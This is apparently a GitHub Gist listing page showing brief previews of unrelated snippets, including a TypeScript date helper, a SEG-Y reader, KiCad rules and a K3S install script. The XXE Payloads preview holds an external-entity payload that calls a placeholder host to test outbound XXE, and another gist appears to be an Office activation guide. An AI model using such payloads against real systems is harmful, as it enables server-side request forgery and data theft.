Skip to content

Instantly share code, notes, and snippets.

@Klerith
Klerith / time-since.ts
Created November 2, 2022 20:36
Fecha de creación humana
export const timeSince = ( date: string ) => {
const baseDate = new Date(date)
const seconds = Math.floor(( new Date().getTime() - baseDate.getTime() ) / 1000);
let interval = seconds / 31536000;
@dkennedy94
dkennedy94 / ReadSEGY.py
Created April 28, 2020 22:34
Segy-read
import mmap
import os
import struct # Convert two and from binary formats
import unittest
from pygame import key
traceHdrSize = 240 # bytes
@staaldraad
staaldraad / XXE_payloads
Last active May 8, 2024 01:23
XXE Payloads
--------------------------------------------------------------
Vanilla, used to verify outbound xxe or blind xxe
--------------------------------------------------------------
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>
@devomman
devomman / office-activation.md
Created May 30, 2023 11:01
Office Activation Command by Omman

Office 2021

Method 1: Using my command line

Step 1.1: Open cmd program with administrator rights.

  • First, you need to open cmd in the admin mode, then run all commands below one by one.

Step 1.2: Get into the Office directory in cmd.

  • For x86 and x64
cd /d %ProgramFiles(x86)%\Microsoft Office\Office16
cd /d %ProgramFiles%\Microsoft Office\Office16
@dpoulopoulos
dpoulopoulos / nlsh.py
Last active May 8, 2024 01:20
OpenAI natural language shell example.
prompt = """
Input: Print the current directory
Output: pwd
Input: List files
Output: ls -l
Input: Change directory to /tmp
Output: cd /tmp
@dideler
dideler / bot.rb
Last active May 8, 2024 01:20
Sending a notification message to Telegram using its HTTP API via cURL
# Use this script to test that your Telegram bot works.
#
# Install the dependency
#
# $ gem install telegram_bot
#
# Run the bot
#
# $ ruby bot.rb
#
@darkxst
darkxst / rules.txt
Last active May 8, 2024 01:19 — forked from denniskupec/rules.txt
KiCad DRC rules for JLCPCB, 2 & 4-layer PCB
(version 1)
#Kicad 7
# 2-layer, 1oz copper
(rule "Minimum Trace Width (outer layer)"
(constraint track_width (min 5mil))
(layer outer)
(condition "A.Type == 'track'"))
(rule "Minimum Trace Spacing (outer layer)"
@usagimaru
usagimaru / HiddenMacOSDebuggingPanel.md
Last active May 8, 2024 01:19
Enables useful debugging panel in macOS apps

Use _NS_4445425547 or NS🐞 for enables debuggging panel. When enabled it, a ladybug 🐞 menu appears in the app menu bar.

“4445425547” means DEBUG in Unicode table.

0x44=D
0x45=E
0x42=B
0x55=U
0x47=G

@icebob
icebob / k3s_helm_install.sh
Last active May 8, 2024 01:17
K3S + Helm installing
# Install K3S
curl -sfL https://get.k3s.io | sh -
# Copy k3s config
mkdir $HOME/.kube
sudo cp /etc/rancher/k3s/k3s.yaml $HOME/.kube/config
sudo chmod 644 $HOME/.kube/config
# Check K3S
kubectl get pods -n kube-system